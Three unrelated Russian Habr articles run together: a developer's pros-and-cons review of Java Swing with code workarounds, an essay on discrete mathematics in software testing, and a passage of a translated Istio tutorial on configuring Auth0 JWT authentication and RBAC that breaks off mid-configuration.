На Хабре Swing не любят. [Поиск](http://habrahabr.ru/search/?target_type=posts&q=swing&order_by=date) по «Swing» дает либо нейтральные, либо негативные упоминания. Вот некоторые из них:
* «Java-апплеты (доразвивались до смертельной болезни под названием Swing)»
* «Swing — мягко говоря не самый оптимальный UI фреймворк»
* «Swing был ужасен»
Я не возьмусь утверждать, что Swing — идеал. Это неправда. Однако я постараюсь описать те плюсы и минусы с которыми пришлось столкнуться.
#### Почему Swing
Я работаю со Swing с перерывами пару лет. В основном, по вечерам. Пишу программу [Visual Watermark](http://www.visualwatermark.com) для групповой защиты фотографий. Java версия у меня появилась в 2011. Мне захотелось сделать порт под Mac и вылизать интерфейс, но писать отдельную программу под каждую платформу у меня не было никакой возможности.
В начале 2011 UI-библиотеки для кросс-платформенной разработки были в таком состоянии:
* **QML** был весь в багах: меню появлялись под компонентами, демка падала, поддержки в QtCreator не было. Ускоренная отрисовка появилась только в Qt5 прошлой осенью.
* **Qt** не подошел, т.к. был целиком на “нативных” компонентах, а часто требовалось где-то изменить отрисовку.
* **[Juce](http://www.juce.com)** подходила по функционалу, не глючила и не падала. Стоила приемлемых денег да еще и с открытым кода. Отпугнул меня C++. Это замечательный язык на котором пишут огромное количество умнейших людей. Учитывая мой маленький опыт и размер задачи, сложность C++ – это перебор. Плюс, выяснилось, что Xcode не умеет рефакторить C++.
* **Adobe Air** не поддерживает multi-threading.
* **Mono+GTK** Мне кажется, что к эту комбинация могла бы решить мои проблемы. В тот момент отпугнул очевидный косяк с неработающими горячими клавишами в GTK. Судя по MonoDevelop, он не пофикшен до сих пор.
* **JavaFX** не было под Mac.
* **SWT** намного легче, чем Swing и в целом хорош. Не стал писать на SWT потому, что смотрел я его самым последним. Уже было потрачена уйма времени и я закончил эксперименты на первом попавшемся баге («плавали» кнопки по высоте на тулбаре).
На тот момент Java была частью Mac OS X, имела отличный Native Look & Feel, а JRE под Windows весила всего 12 мегабайт. Я был наивно уверен в успехе. В итоге, после 2 или 3х месяцев работы я оказался с первой версией программы на Java Swing.
*На сегодняшний день в QML и JavaFX исправлены описанные проблемы. Поэтому, если вы готовы работать со сценическим графом, то вам стоит взять их на тест-драйв.*
*Qt перешел под крыло фирмы Digia. Выпуск бета-версии под iPhone и Android дает надежду на дальнейшее развитие библиотеки.*
*JavaFX стала библиотекой с открытым кодом в феврале этого года. Её совместимость с OpenJDK [планируется](http://openjdk.java.net/projects/openjfx/) на JDK 9. Когда выйдет 9ка неизвестно. Релиз 8ой версии запланирован на начало 2014 года.*
#### О хорошем
Начну с хорошего. Вдруг подумаете, что я тоже в Swing-хейтеры записался?!
**Вся отрисовка hardware-accelerated.** Любое Swing-приложение отрисовывается на GPU, от разработчика ничего не требуется. Это делает возможным анимации в приложении. В том числе, когда приложение полноэкранное или развернуто на 24’’ мониторе.
**MVC.** Swing критикуют за массивность: каждые компонент состои из представления, контроллера и модели. В то же время, это дает возможность быстро добавить нужную фичу в существущий компонент. Все очень гибко.
**Java – это managed код.** Вы избавляетесь от кучи возможных багов, «доступных» только для C++-разработчиков. Риск Access Violation сведен к минимуму. Хотя это совершенно не означает, что у вас не будет других багов. Утечек памяти, например.
**Отличная среда разработки.** Eclipse, Intellij IDEA, NetBeans – выбор огромный. Везде есть рефакторинги, форматирование кода, авто-комплит, поддержка unit-тестов,
**Очень много библиотек.** LayoutManager’ы, работа с нативными объектами, строками, вебом – всего не перечислить. Это огромный козырь Java как платформы.
**Очень много ответов на вопросы.** Вот, например, [доля вопросов](http://hewgill.com/~greg/stackoverflow/stack_overflow/tags/#!swing+javafx+wpf+qml) на StackOverflow по каждой из UI-библиотек.
Примерно каждый сотый вопрос на StackOverflow – это вопрос о Swing. На практике, это означает, что большинство проблем уже решены. Скорее всего, один-на-один с проблемой вы не останетесь.
#### О плохом
Предыдущая часть похожа на сладкий пресс-релиз. Исправляюсь. Вот с чем вы можете столкнуться.
**Не фиксятся критичные баги.** File.exists [не работает](https://java.net/jira/browse/MACOSX_PORT-165) с момента релиза JDK7 и фикса нет до сих пор. Даже если баг критический, вы можете ждать фикса годами.
Ситуация может стать еще хуже, если вы планируете использовать нативный код. Я столкнулся с ситуацией, когда использование модальных окон (например, открытие OpenFileDialog) приводит к зависаниям на некоторых компьютерах. При том, что Java Native Foundation используется согласно примерам в документации. И баунти на StackOverflow мне не помог:-)
Баг с file.exists можно обойти с помощью классов из java.nio. Это новый API, который был призван решить проблемы производительности с развесистыми папками.
Что нужно сделать:
1. Запустить приложение с параметром `–Dfile.encoding=UTF-8`
2. Вместо File.exists используем `Files.exists(Paths.get(fileName))`
3. Вместо File.listFiles используем
```
try (DirectoryStream ds = Files.newDirectoryStream(folder)) {
for (Path file : ds) {
// do something
}
} catch (IOException e) {
e.printStackTrace();
}
```
Или фиксить этот баг самостоятельно и проталкивать закладку через серию ревью.
**Swing – только hardware accelerated.** Это значит ваше приложение не будет работать в VMware, Parallels или через удаленный рабочий стол. Если вы не готовы с этим мириться, то смотрите в сторону SWT.
**Нет 32-битных билдов под Mac.** Официальная сборка только 64 бит. К сожалению, я не знаю в чем причина этого решения. Могу лишь гадать, что дело в каких-то багах.
Некоторое время Henri Gomez поддерживал 32-битные и universal билды. Готовые билды можно было скачать с его странички на code.google.com. К моему сожалению, нехватка времени и новая работа заставили Генри свернуть этот проект. Попрощавшись, он выложил свои билдежные скрипты на GitHub:
<https://github.com/hgomez/obuildfactory>
С их помощью можно собрать OpenJDK под Mac и Linux. Здорово, но не совсем. *С помощью этих скриптов 32-битная версия под Mac не собирается.* Внутри JDK огромное количество конфигурационных файлов, в которых зашита сборка строго 64-битной версии для Mac. Изменишь ключ в главном файле и получишь неработоспособную сборку. Каким образом Henri Gomez собирал 32-битные билды мне неизвестно.
**Включайте JRE в дистрибутив.** Мнение руководителей Oracle о дистрибуции приложений: “standalone self-contained инсталлятор с bundled JRE для целевой платформы – это более удачная модель распространения приложений” ([источник](http://habrahabr.ru/post/178889/)). Наиболее вероятная причина этого решения – огромное кол-во уязвимостей в апплетах: Java приняла знамя решета у Flash.
Наиболее жестко поддерживает это ограничение фирма Apple, которая удалила Java в версии Mac OS 10.7 Lion. Также они принудительно отключают ее при установке новых системных обновлений.
JRE 7 весит около 100 Мб. В архиве получается около 50. К сожалению, размер JRE от апдейта к апдейту растет и нам проблему распухшего дистрибутива придется решать.
**Не все объекты BufferedImage используют аппаратное ускорение.** Только для BufferedImage.TYPE\_INT\_\*. Поэтому, начиная с JDK7, работать с TYPE\_4BYTE\*, TYPE\_3BYTE нецелосообразно.
**При доступе к данным растра BufferedImage, картинка перестает рисоваться через GPU.** Зачем это сделано понятно: пользователь меняет данные, метода “закончил менять” нет и не понятно когда их пере-заливать в видео-память. По крайней мере, это логично.
В Visual Watermark я использовал C++ библиотеку для загрузки изображений и нужно было полученные пикселы превратить в объект BufferedImage. Менять по-одному пикселу очень медленно и пришлось писать напрямую в буфер растра картинки. Как только я вызвал у растра getData(), все мои картинки перестали ускоряться. Покопавшись в коде DataBufferInt, я нашел решение этой проблемы с помощью reflection и написал небольшой класс-помощник:
```
import java.awt.*;
import java.awt.image.*;
import java.lang.reflect.Field;
import sun.awt.image.SunWritableRaster;
import sun.java2d.StateTrackableDelegate;
// Standard library prevents image acceleration once getData() method is called
// This class provides a workaround to modify data quickly and still get hw-accel graphics
public class AcceleratedImage {
// Returns data object not preventing hardware image acceleration
public static int[] getDataBuffer(DataBufferInt dataBuffer) {
try {
Field field = DataBufferInt.class.getDeclaredField("data");
field.setAccessible(true);
int[] data = (int[])field.get(dataBuffer);
return data;
} catch (Exception e) {
return null;
}
}
// Marks the buffer dirty. You should call this method after changing the data buffer
public static void markDirty(DataBufferInt dataBuffer) {
try {
Field field = DataBuffer.class.getDeclaredField("theTrackable");
field.setAccessible(true);
StateTrackableDelegate theTrackable = (StateTrackableDelegate)field.get(dataBuffer);
theTrackable.markDirty();
} catch (Exception e) {
}
}
// Checks whether current image is in acceleratable state
public static boolean isAcceleratableImage(BufferedImage img) {
try {
Field field = DataBuffer.class.getDeclaredField("theTrackable");
field.setAccessible(true);
StateTrackableDelegate trackable = (StateTrackableDelegate)field.get(img.getRaster().getDataBuffer());
if (trackable.getState() == sun.java2d.StateTrackable.State.UNTRACKABLE)
return false;
field = SunWritableRaster.class.getDeclaredField("theTrackable");
field.setAccessible(true);
trackable = (StateTrackableDelegate)field.get(img.getRaster());
return trackable.getState() != sun.java2d.StateTrackable.State.UNTRACKABLE;
} catch(Exception e) {
return false;
}
}
public static BufferedImage convertToAcceleratedImage(Graphics _g, BufferedImage img) {
if(!(_g instanceof Graphics2D))
return img; // We cannot obtain required information from Graphics object
Graphics2D g = (Graphics2D)_g;
GraphicsConfiguration gc = g.getDeviceConfiguration();
if (img.getColorModel().equals(gc.getColorModel()) && isAcceleratableImage(img))
return img;
BufferedImage tmp = gc.createCompatibleImage(img.getWidth(), img.getHeight(), img.getTransparency());
Graphics2D tmpGraphics = tmp.createGraphics();
tmpGraphics.drawImage(img, 0, 0, null);
tmpGraphics.dispose();
img.flush();
return tmp;
}
}
```
Использовать его нужно вот так:
```
DataBufferInt dataBuffer = (DataBufferInt)bufferedImage.getRaster().getDataBuffer();
int[] data = AcceleratedImage.getDataBuffer(dataBuffer);
// Меняем данные
AcceleratedImage.markDirty(dataBuffer);
```
*Я не проверял этот код для изображений, которые уже были выведены на экран.*
**Нет встроенной анимации и полу-прозрачности.** Объект javax.swing.Timer делает две вещи:
1. Можно сделать анимацию компоентов.
2. Из-за простоты класса, делать ее очень долго.
Есть библиотека [Timing Framework](https://java.net/projects/timingframework), которая позволяет создавать анимации проще. Анимацию можно сделать вот так:
```
Animator viewAnimator = new Animator.Builder()
.setDuration(duration, TimeUnit.MILLISECONDS) // Устанавливаем длительность анимации
.setStartDirection(Direction.FORWARD)
.setInterpolator(new AccelerationInterpolator(0.3, 0.7)) // Заставляем двигаться с ускорением
.setRepeatCount(1).addTarget(new TimingTargetAdapter() {
@Override
public void timingEvent(Animator source, double fraction) {
// Меняем состояние
repaint();
}
@Override
public void end(Animator source) {
// Делаем что-то по окончанию анимации
}
}).build();
viewAnimator.start();
```
Чаще всего используется анимация положения и полу-прозрачности. Если с контролем положения в Swing все OK, то полу-прозрачность стандартные компоненты не поддерживают. Проблема не в возможностях графического движка, а в том, что компоненты не имеют свойства getAlpha/setAlpha.
**Java-приложение не будет запускаться в Mountain Lion из-за GateKeeper.** Чтобы решить эту проблему вам нужно подписаться на программу Mac Developer за $99/год. В замен фирма Apple выдаст вам сертифакт для подписи кода и проблема уйдет.
Подписать бандл с приложением можно вот так:
`codesign –s “Developer ID” –f “path-to-my-app.app”`
#### В сумме
На мой взгляд, самый главный минус Swing – это неуверенность в будущем платформы, т.к критичные баги остаются открытыми. Своих фиксов дожидаются только уязвимость в браузерных плагинах. Складывается ощущение, что библиотеку бросили. Все остальные проблемы уже не так важны.
И мне будет очень грустно, если это действительно так. Потому что писать десктоп приложения на Swing быстро, просто и вокруг огромное количество готового и бесплатного кода.
Пока у меня остается надежда, что у разработчиков в Oracle появится время, чтобы решить системные проблемы.
**UPDATE:** Из комментариев выяснил, что кастомизация контролов в Qt возможна:
Спасибо пользователю [silvansky](https://habrahabr.ru/users/silvansky/)
**UPDATE:** Пользователь [Skyggedans](https://habrahabr.ru/users/skyggedans/) заметил, что в Air появилась поддержка много-поточности. Делается она за счет дополнительных SWF файлов, с которыми можно настроить коммуникацию. | https://habr.com/ru/post/179459/ | null | ru | null |
# Использование дискретной математики в тестировании
Прежде всего хотелось бы сказать, что математика помогает привести наши мысли в порядок и эффективно развивает логическое мышление, а это одни из самых необходимых качеств участников разработки программного обеспечения. Говоря о тестировании, то оно в основном касается поведения системы, что ортогонально структурному представлению, общему для разработчиков программного обеспечения. Разница между структурным и поведенческим представлениями заключается в том, что структурное фокусируется на том что представляет собой программное обеспечение, а поведенческое представление учитывает что программное обеспечение делает.
Одна из трудностей тестировщиков заключается в том, что базовая техническая документация или руководство по разработке программного обеспечения обычно пишутся разработчиками и для разработчиков, и в основном акцент делается на структурную, а не на поведенческую информацию. Конечно, как структурные, так и поведенческие части очень важны для тестирования, так как ошибки программирования можно найти в каждой из этих частей. Вот почему мы будем говорить о дискретных математических методах, чтобы показать связь между структурой программы и ее поведением.
В своей повседневной работе инженеры по обеспечению качества (QA) программного обеспечения работают с операциями формул, поведением функций и структурами данных. Они всегда контролируют и проверяют постоянно меняющееся состояние систем, поэтому им необходимо иметь алгоритмическое и математическое мышление для понимания логики программного обеспечения.
Если разработчик использует математический подход в своей работе, в результате все логические операции будут связаны друг с другом, действия будут следовать логической цепочке, а каждая функция будет рассматриваться структурно.
Дискретная математика помогает нам найти оптимальное решение в различных ситуациях. Например, можно найти наиболее подходящий набор тестовых случаев (Test cases), не охватывая все возможные варианты. Более того, дискретная математика помогает нам визуализировать точную часть программного обеспечения, которая была реализована и покрыта тестами.
К сожалению, мы не живем в идеальном мире, и ожидаемые реальные результаты применения программного обеспечения и фактические результаты могут отличаться. Итак, главная цель отдела обеспечения качества (QA) — максимально эффективно охватить как можно больше тестовых случаев.
Чтобы показать вам эту концепцию более подробно, мы создали следующую диаграмму Венна с примером, который мы ранее обрисовали в общих чертах:
Приведенная выше диаграмма Венна описывает множество ситуаций, тем самым помогает проиллюстрировать и определить наборы ситуаций. Например, это может помочь нам увидеть разницу между наборами объектов. Дискретная математика помогает анализировать и оптимизировать наборы действий, которые могут влиять на разрабатываемое программное обеспечение.
### Теория множеств
Используя принципы теории базовых множеств, мы можем создать псевдокод, чтобы проиллюстрировать все возможные случаи для приложения «Next Day» (программа, которая вычисляет, какой день будет следующим, используя введенную дату):
```
M1={month:month has 30 days}
M2={month:month has 31 days except December}
M3={month:month is February}
M4={month:month is December}
D1={day:1<=day<=28}
D2={day:1<=day<=29}
D3={day:1<=day<=30}
D4={day:1<=day<=31}
Y1={year:year is a leap year}
Y2={year:year is not a leap year}
```
Этот псевдокод уже подготовлен для разработки и тестирования приложения, поэтому тестировщики также могут применять все возможные контрольные примеры, основываясь этими данными. Использование данных в этом формате помогает увеличить скорость разработки и снижает возможность ошибки.
### Теория графов
Большая часть дискретной математики — это так называемая «теория графов», которая изучает графы. Графы используются для представления связи между некоторыми объектами или данными, и компьютерная сеть является подходящим примером графа.
Графы также имеют основополагающее значение для процесса разработки программного обеспечения. Например, используя граф мы можем разложить сложные функции на несколько более мелких частей, что помогает нам более эффективно понимать бизнес-логику.
Графы могут быть направленными и ненаправленными, это означает, что мы можем перемещаться от узла к узлу в одном направлении или в обоих направлениях (в случае ориентированного графа), или мы не можем перемещаться от одного узла к другому (если граф является направленным строго в одном направлении)
Итак, давайте вернемся к тестированию программного обеспечения и представим, что у нас есть поток некоторого процесса (например, перемещение задачи в какой-то системе отслеживания задач); у нас есть условие некоторой задачи, и мы можем переместить ее на другой этап (ориентированный граф), или мы можем достичь некоторой точки, где мы ничего не можем сделать с сущностью (неориентированный граф). При таком подходе к визуализации мы можем легко собрать набор всех возможных действий, доступных для этой сущности:
Давайте продолжим и посмотрим на матрицу смежности, которая может быть построена на основе неориентированного графа. В приведенном ниже примере элементы матрицы смежности указывают, являются ли пары вершин смежными или нет:
Теперь представьте, что узлы являются условиями некоторых сущностей, и если мы построим матрицу смежности для этого графа (набора сущностей), мы увидим конечный набор действий, которые мы можем предпринять. Например, изменение статуса с узла «0» на узел «1» доступно, потому что они связаны друг с другом. Но сущность «0» не может быть изменена на стадию «2» или «3», как мы можем видеть из нашей матрицы — в ячейках прописан «ноль». Используя эту матрицу, мы можем исключить ненужные наборы этапов сущности и сократить набор тестовых случаев.
Еще одна матрица, которую мы можем использовать для сбора тестовых случаев, — это матрица инцидентности, которая показывает отношения между двумя классами объектов. На следующем рисунке мы видим неориентированный граф и его матрицу инцидентности: «1», «2», «3» и «4» являются узлами (сущностями), «e1», «e2», «e3» «e4» — ребра графа, а матрица иллюстрирует сущности и действия, которые мы можем с ними сделать. С узлом «1» мы можем выполнять действия «e1», «e2» и «e3», но действие «e4» недоступно для узла «1.». Этот метод очень помогает при создании набора тестовых случаев.
Представим, что тестировщик получил список сущностей и действий, которые можно проводить с этими сущностями. С помощью этой матрицы он может сократить набор тестовых случаев. Сокращение количества тестов является очень важной частью процесса тестирования программного обеспечения. Тестирование программного обеспечения в значительной степени зависит от сокращения количества тестовых случаев, и при таком подходе охват тестированием и избежание избыточности максимально увеличены.
Цель тестировщиков программного обеспечения — охватить продукт, используя эффективные контрольные примеры, которые позволяют тестировать все возможные комбинации действий. Тестировщики могут добиться успеха, прилагая минимальные усилия, используя подходы дискретной математики (алгоритмы), чтобы найти оптимальный набор тестовых случаев и максимизировать эффективность процесса тестирования программного обеспечения.
Дискретная математика также помогает нам понять, как на самом деле создается программное обеспечение, потому что все программное обеспечение использует алгоритмы и методы дискретной математики и математической логики. Поэтому, если мы понимаем, как это работает, мы можем найти ошибки или проблемы внутри программы, которые не могут быть обнаружены со стороны пользователя.
### Сети Петри
Давайте рассмотрим пример того, как приложение работает на микросервисной технологии с помощью «Сетей Петри» (динамический граф):
Здесь мы видим, что система имеет начальное состояние и должна получить некоторый сигнал, который отправляется из другой службы (появляется маркер). В зависимости от полученного результата должно быть выполнено следующее действие. Таким образом, сеть Петри иллюстрирует динамику всей системы. Если какая-либо проблема существует, мы сможем локализовать дефект быстрее.
### Нейронные сети
Искусственные нейронные сети также основаны на принципах графа. Они имитируют возможности обработки информации нейронами человеческого мозга. Каждая часть нейронной системы основана на графе, который содержит «входные» узлы, «скрытый» слой и «выходные» узлы.
Некоторые данные поступают на входной слой, а алгоритмы скрытого слоя обрабатывают эти данные и отправляют результат на выходной этап. Таким образом, нейронная сеть может выполнять действия на основе этих данных. Нейронные сети также состоят из множества похожих графов с другой логикой, поэтому они могут принимать решения на основе входных параметров.
### Миллениум Тестирование
Наш последний пример использования дискретной математики в тестировании включает построение процесса тестирования программного обеспечения. В настоящее время существует множество методологий и подходов называемые «millenium testing», которые были разработаны задолго до их фактического использования, начиная с 2000-х годов, когда разработка программного обеспечения начала стремительно развиваться.
BDD (Behavior Driven Development) является частью так называемого Millenium тестирования, эта методология является расширением TDD (Test Driven Development). BDD позволяет тестировщикам устанавливать более тесную связь между критериями приемки для данной функции и тестами, используемыми для проверки этой функциональности. BDD может преобразовывать структурированные операторы на естественном языке в исполняемые тесты, тем самым вносит больше ясности и понимания бизнес стороне и стороне разработки, так как они начинают говорить на одном общем языке. Основная структура рабочего процесса BDD также основана на динамическом графе (Petri Net).
Как видно из этой структуры, каждый процесс сопровождается другим процессом, и он не может переместиться на следующий этап, пока предыдущий этап не будет завершен. Еще раз, принципы дискретной математики помогают нам понять процесс более эффективно.
В заключение хотелось бы еще раз перечислить преимущества применения дискретной математики в процессе разработки программного обеспечения:
* Помощь в понимании бизнес-логики требуемой функциональности
* Упрощение возможности делить сложные задачи на более простые
* Предоставление специалистам возможности проводить эффективное тестирование с меньшими усилиями
* Помощь в понимании и визуализации структуры всего, что мы хотим
Приведенные выше примеры демонстрируют, как дискретная математика может быть использована для эффективного повышения производительности тестирования. Каждый аспект дискретной математики может помочь разработчикам понять общий рабочий порядок программного обеспечения и его принципы в течение всего жизненного цикла разработки программного обеспечения. | https://habr.com/ru/post/451886/ | null | ru | null |
# Назад к микросервисам вместе с Istio. Часть 3
***Прим. перев.**: [Первая часть](https://habr.com/ru/company/flant/blog/438426/) этого цикла была посвящена знакомству с возможностями Istio и их демонстрации в действии, [вторая](https://habr.com/ru/company/flant/blog/440378/) — тонко настраиваемой маршрутизации и управлению сетевым трафиком. Теперь же речь пойдёт про безопасность: для демонстрации связанных с ней базовых функций автор использует identity-сервис Auth0, однако по аналогии с ним могут настраиваться и другие провайдеры.*
Мы настроили Kubernetes-кластер, в котором развернули Istio и пример микросервисного приложения Sentiment Analysis, — так были продемонстрированы возможности Istio.
С помощью Istio нам удалось сохранить небольшой размер сервисов, поскольку они не нуждаются в реализации таких «слоёв», как повторные попытки подключения (Retries), таймауты (Timeouts), автоматический выключатели (Circuit Breakers), трассировка (Tracing), мониторинг (Monitoring). Кроме того, мы задействовали техники продвинутого тестирования и деплоя: A/B-тестирование, зеркалирование и канареечные выкаты.
В новом материале мы разберёмся с финальными слоями на пути к business value: аутентификацией и авторизацией — и в Istio это сплошное удовольствие!
Аутентификация и авторизация в Istio
------------------------------------
Никогда бы не поверил, что вдохновлюсь аутентификацией и авторизацией. Что же такого с технологической точки зрения может предложить Istio для того, чтобы сделать эти темы увлекательными и даже более того — чтобы они вдохновили и вас?
Ответ прост: Istio переносит ответственность за эти возможности с ваших сервисов на прокси Envoy. Ко времени, когда запросы достигают сервисов, они уже аутентифицированы и авторизованы, так что вам остаётся просто писать полезный для бизнеса код.
Звучит неплохо? Заглянем же внутрь!
Аутентификация с Auth0
----------------------
В качестве сервера для управления идентификацией и доступом будем использовать Auth0, у которого есть пробная версия, который интуитивно понятен в использовании и попросту нравится мне. Впрочем, те же самые принципы можно применить и по отношению к любой другой [реализации OpenID Connect](https://openid.net/developers/certified/): KeyCloak, IdentityServer и многим другим.
Для начала зайдите на [Auth0 Portal](https://manage.auth0.com/) со своим аккаунтом, создайте tenant *(tenant — «арендатор», логическая единица изоляции, подробнее см. в [документации](https://auth0.com/docs/getting-started/the-basics#account-and-tenants) — прим. перев.)* и зайдите в *Applications > Default App*, выбрав *Domain*, как показано на скриншоте ниже:
Укажите этот домен в файле `resource-manifests/istio/security/auth-policy.yaml` ([исходник](https://gist.github.com/rinormaloku/df5bdd7908898c98e51497ce6ee7f48b#file-auth-policy-yaml)):
```
apiVersion: authentication.istio.io/v1alpha1
kind: Policy
metadata:
name: auth-policy
spec:
targets:
- name: sa-web-app
- name: sa-feedback
origins:
- jwt:
issuer: "https://{YOUR_DOMAIN}/"
jwksUri: "https://{YOUR_DOMAIN}/.well-known/jwks.json"
principalBinding: USE_ORIGIN
```
Располагая таким ресурсом, Pilot *(один из трёх базовых компонентов Control Plane в Istio — прим. перев.)* настраивает Envoy'и на аутентификацию запросов перед тем, как перенаправлять их на сервисы: **`sa-web-app`** и **`sa-feedback`**. В то же самое время конфигурация не применяется к Envoy'ям сервиса **`sa-frontend`**, позволяя нам оставить фронтенд неаутентифицированным. Чтобы применить политику (Policy), выполните команду:
```
$ kubectl apply -f resource-manifests/istio/security/auth-policy.yaml
policy.authentication.istio.io “auth-policy” created
```
Вернитесь на страницу и сделайте запрос — увидите, что он закончится статусом *401 Unauthorized*. Теперь перенаправим пользователей фронтенда на аутентификацию с Auth0.
Аутентификация запросов с Auth0
-------------------------------
Чтобы аутентифицировать запросы конечного пользователя, необходимо создать API в Auth0, который будет представлять аутентифицированные сервисы (reviews, details и ratings). Для создания API перейдите в *Auth0 Portal > APIs > Create API* и заполните форму:
Важной информацией здесь является *Identifier*, который позже мы будем использовать в скрипте. Выпишем его себе так:
* **Audience**: {YOUR\_AUDIENCE}
Оставшиеся нужные нам детали расположены на Auth0 Portal в разделе *Applications* — выберите *Test Application* (создаётся автоматически вместе с API).
Здесь мы запишем:
* **Domain**: {YOUR\_DOMAIN}
* **Client Id**: {YOUR\_CLIENT\_ID}
Прокрутите в *Test Application* до текстового поля *Allowed Callback URLs* (разрешённые URL'ы для callback'а), в котором мы укажем URL, куда должен отправляться вызов после того, как аутентификация завершена. В нашем случае это:
```
http://{EXTERNAL_IP}/callback
```
А для *Allowed Logout URLs* (разрешённые URL'ы для разлогинивания) добавим:
```
http://{EXTERNAL_IP}/logout
```
Перейдём к фронтенду.
Обновление фронтенда
--------------------
Переключитесь на ветку `auth0` репозитория `[istio-mastery]`. В этой ветке код фронтенда изменён так, чтобы перенаправлять пользователей в Auth0 для аутентификации и использовать JWT-токен в запросах к остальным сервисам. Последнее реализовано следующим образом ([App.js](https://gist.github.com/rinormaloku/928719c2e62b56e5a31a82cc1bf32cbb#file-app-js)):
```
analyzeSentence() {
fetch('/sentiment', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Authorization': `Bearer ${auth.getAccessToken()}` // Access Token
},
body: JSON.stringify({ sentence: this.textField.getValue() })
})
.then(response => response.json())
.then(data => this.setState(data));
}
```
Чтобы перевести фронтенд на использование данных tenant'а в Auth0, откройте `sa-frontend/src/services/Auth.js` и замените в нём значения, которые мы записали выше ([Auth.js](https://gist.github.com/rinormaloku/f300ff273a1c4860fa515f2633cbdfd2#file-auth-js)):
```
const Config = {
clientID: '{YOUR_CLIENT_ID}',
domain:'{YOUR_DOMAIN}',
audience: '{YOUR_AUDIENCE}',
ingressIP: '{EXTERNAL_IP}' // Используется для редиректа после аутентификации
}
```
Приложение готово. Укажите свой Docker ID в командах ниже при сборке и деплое произведённых изменений:
```
$ docker build -f sa-frontend/Dockerfile \
-t $DOCKER_USER_ID/sentiment-analysis-frontend:istio-auth0 \
sa-frontend
$ docker push $DOCKER_USER_ID/sentiment-analysis-frontend:istio-auth0
$ kubectl set image deployment/sa-frontend \
sa-frontend=$DOCKER_USER_ID/sentiment-analysis-frontend:istio-auth0
```
Попробуйте приложение! Вас перенаправят на Auth0, где необходимо залогиниться (или зарегистрироваться), после чего вас отправят обратно на страницу, с которой будут производиться уже аутентифицированные запросы. Если же вы попробуете упомянутые в первых частях статьи команды с curl — получите код *401 Status Code*, сигнализирующий о том, что запрос не авторизован.
Сделаем следующий шаг — авторизуем запросы.
Авторизация с Auth0
-------------------
Аутентификация позволяет нам понять, кем является пользователь, но для того, чтобы узнать, к чему у него есть доступ, требуется авторизация. Istio предлагает инструменты и для этого.
В качестве примера создадим две группы пользователей (см. на схеме ниже):
* **Пользователи** *(users)* — с доступом только к сервисам SA-WebApp и SA-Frontend;
* **Модераторы** *(moderators)* — с доступом ко всем трём сервисам.
*Концепция авторизации*
Для создания этих групп воспользуемся расширением Auth0 Authorization и с помощью Istio предоставим им разные уровни доступа.
Установка и конфигурация Auth0 Authorization
--------------------------------------------
На портале Auth0 перейдите к расширениям (*Extensions*) и установите *Auth0 Authorization*. После установки перейдите к *Authorization Extension*, а там — к конфигурации tenant'а по клику справа наверху и выбору соответствующей опции меню *(Configuration)*. Активируйте группы *(Groups)* и нажмите на кнопку публикации правила *(Publish rule)*.
Создание групп
--------------
В Authorization Extension перейдите в *Groups* и создайте группу *Moderators*. Поскольку мы будем рассматривать всех аутентифицированных пользователей как обычных, потребности в создании для них дополнительной группы нет.
Выберите группу *Moderators*, нажмите на *Add Members*, добавьте свой основной аккаунт. Оставьте некоторых пользователей без какой-либо группы, чтобы убедиться, что доступ для них запрещён. (Новых пользователей можно создать вручную через *Auth0 Portal > Users > Create User*.)
Добавьте Group Claim в Access Token
-----------------------------------
Пользователи добавлены в группы, однако эта информация должна быть отражена и в токенах для доступа. Чтобы соответствовать OpenID Connect и в то же время возвращать группы, которые нам нужны, токену потребуется добавлять свой [custom claim](https://auth0.com/docs/tokens/add-custom-claims). Реализуется через правила Auth0.
Для создания правила перейдите на Auth0 Portal к *Rules*, нажмите на *Create Rule* и выберите пустое правило из шаблонов.
Скопируйте код ниже и сохраните его как новое правило *Add Group Claim* ([namespacedGroup.js](https://gist.github.com/rinormaloku/a95a252b8c6851dd42ce258a57f7d0c6#file-namespacedgroup-js)):
```
function (user, context, callback) {
context.accessToken['https://sa.io/group'] = user.groups[0];
return callback(null, user, context);
}
```
**Примечание**: этот код берёт первую группу пользователя, определённую в Authorization Extension, и добавляет её в access-токен как custom claim (под своим пространством имён, как того требует Auth0).
Вернитесь к странице *Rules* и проверьте, что у вас есть два правила, записанные в следующем порядке:
* auth0-authorization-extension
* Add Group Claim
Порядок важен, потому что поле группы асинхронно получает правило *auth0-authorization-extension* и после этого добавляется как claim вторым правилом. В результате получается такой access-токен:
```
{
"https://sa.io/group": "Moderators",
"iss": "https://sentiment-analysis.eu.auth0.com/",
"sub": "google-oauth2|196405271625531691872"
// [сокращено для наглядности]
}
```
Теперь необходимо настроить Envoy-прокси на проверку пользовательского доступа, для чего группа будет вытаскиваться из claim (`https://sa.io/group`) в возвращаемом access-токене. Это тема для следующего раздела статьи.
Конфигурация авторизации в Istio
--------------------------------
Чтобы авторизация заработала, необходимо включить RBAC для Istio. Для этого воспользуемся следующей конфигурацией:
```
apiVersion: "rbac.istio.io/v1alpha1"
kind: RbacConfig
metadata:
name: default
spec:
mode: 'ON_WITH_INCLUSION' # 1
inclusion:
services: # 2
- "sa-frontend.default.svc.cluster.local"
- "sa-web-app.default.svc.cluster.local"
- "sa-feedback.default.svc.cluster.local"
```
Пояснения:
* 1 — включаем RBAC только для сервисов и пространств имён, перечисленных в поле `Inclusion`;
* 2 — перечисляем список наших сервисов.
Применим конфигурацию такой командой:
```
$ kubectl apply -f resource-manifests/istio/security/enable-rbac.yaml
rbacconfig.rbac.istio.io/default created
```
Теперь все сервисы требуют управления доступом на основе ролей (Role-Based Access Control). Другими словами, доступ ко всем сервисам запрещён и приведёт к ответу `RBAC: access denied`. Теперь разрешим доступ авторизованным пользователям.
Конфигурация доступа для обычных пользователей
----------------------------------------------
Все пользователи должны иметь доступ к сервисам SA-Frontend и SA-WebApp. Реализуется с помощью следующих ресурсов Istio:
* **ServiceRole** — определяет права, которые есть у пользователя;
* **ServiceRoleBinding** — определяет, к кому эта ServiceRole относится.
Для обычных пользователей разрешим доступ к определённым сервисам ([servicerole.yaml](https://gist.github.com/rinormaloku/0b14169b9aaffce1ec9daf025077bd4c#file-servicerole-yaml)):
```
apiVersion: "rbac.istio.io/v1alpha1"
kind: ServiceRole
metadata:
name: regular-user
namespace: default
spec:
rules:
- services:
- "sa-frontend.default.svc.cluster.local"
- "sa-web-app.default.svc.cluster.local"
paths: ["*"]
methods: ["*"]
```
